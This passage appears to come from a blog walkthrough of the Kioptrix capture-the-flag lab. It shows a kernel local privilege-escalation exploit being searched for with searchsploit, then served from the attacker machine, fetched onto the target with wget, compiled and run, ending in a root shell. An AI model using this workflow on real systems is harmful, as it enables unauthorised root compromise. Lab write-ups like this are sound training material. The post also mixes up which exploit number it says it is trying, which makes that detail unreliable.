Our first attempt at local privilege escalation was unsuccessful. Luckily, it appears we have another option:

root@kali:~# searchsploit kernel 2.6 linux local | grep "CentOS\ 4"
Linux Kernel 2.4 / 2.6 (RedHat Linux 9 / Fedora Core 4<11 / Whitebox 4 / CentOS 4) - 'sock_sendpage()' Ring0 Root Exploit (5)                                                 | ./linux/local/9479.c
Linux Kernel 2.6 < 2.6.19 (White Box 4 / CentOS 4.4/4.5 / Fedora Core 4/5/6 x86) - 'ip_append_data()' Ring0 Root Exploit (1)                                                  | ./linux/local/9542.c
Linux Kernel 2.4.x / 2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Privilege Escalation                                      | ./linux/local/9545.c

The first result, 9479.c — 'sock_sendpage()' Ring0 Root Exploit, seems to match our target. Let's give it a try following the same workflow as above.

Let's download it to our target:

root@kali:~# cp /usr/share/exploitdb/platforms/linux/local/9542.c .
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
sh-3.00$ wget -O /tmp/9542.c http://172.16.2.129:8000/9542.c
--23:19:38--  http://172.16.2.129:8000/9542.c
           => `/tmp/9542.c'
Connecting to 172.16.2.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2,645 (2.6K) [text/plain]

    0K ..                                                    100%  210.21 MB/s

23:19:38 (210.21 MB/s) - `/tmp/9542.c' saved [2645/2645]

Compile and execute it:

sh-3.00$ gcc -o /tmp/9542 /tmp/9542.c
sh-3.00$ chmod +x /tmp/9542
sh-3.00$ /tmp/9542

Well, that's not good... The shell seems to be hung. Let's check the VMware console:

Kernel Panic! Oops, another exploit that seems like it should have worked, but failed. Again, good material for a future exploit research post, but for now let's reset the VM and try again.

Privilege Escalation - Take 3

We are oh-for-two on this local privilege escalation, but the good news is we still have another exploit to try from our original search:
Linux Kernel 2.4.x / 2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' Privilege Escalation | ./linux/local/9545.c

By now, the workflow is clear:

Download it to our target:

root@kali:~# cp /usr/share/exploitdb/platforms/linux/local/9545.c .
root@kali:~# python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
sh-3.00$ wget -O /tmp/9545.c http://172.16.2.129:8000/9545.c
--21:39:13--  http://172.16.2.129:8000/9545.c
           => `/tmp/9545.c'
Connecting to 172.16.2.129:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9,785 (9.6K) [text/plain]

    0K .........                                             100%  777.64 MB/s

21:39:13 (777.64 MB/s) - `/tmp/9545.c' saved [9785/9785]

Compile and execute it:

sh-3.00$ gcc -o /tmp/9545 /tmp/9545.c
sh-3.00$ chmod +x /tmp/9545
sh-3.00$ /tmp/9545
sh: no job control in this shell
sh-3.00# id
uid=0(root) gid=0(root) groups=48(apache)

Whoomp, there it is! A root shell! Since this was the goal of the challenge we can stop here. There may be other ways in to this box, but we'll leave those shells for a rainy day.

Conclusion

Things were looking a bit hairy there for a minute, with two failed exploits back to back. If we've learned anything here it's persistence — or maybe the lesson is, we shouldn't be running exploits without fist completely digesting them, lest we be confused for a skid. As mentioned above, it will make for an interesting future exercise to dissect the attempted exploits and understand why they failed. For now, let's just be content with the root shell we achieved and move forward in our Kioprtix jorney. See you next time neighbors, until then keep your boxes patched and your shells root.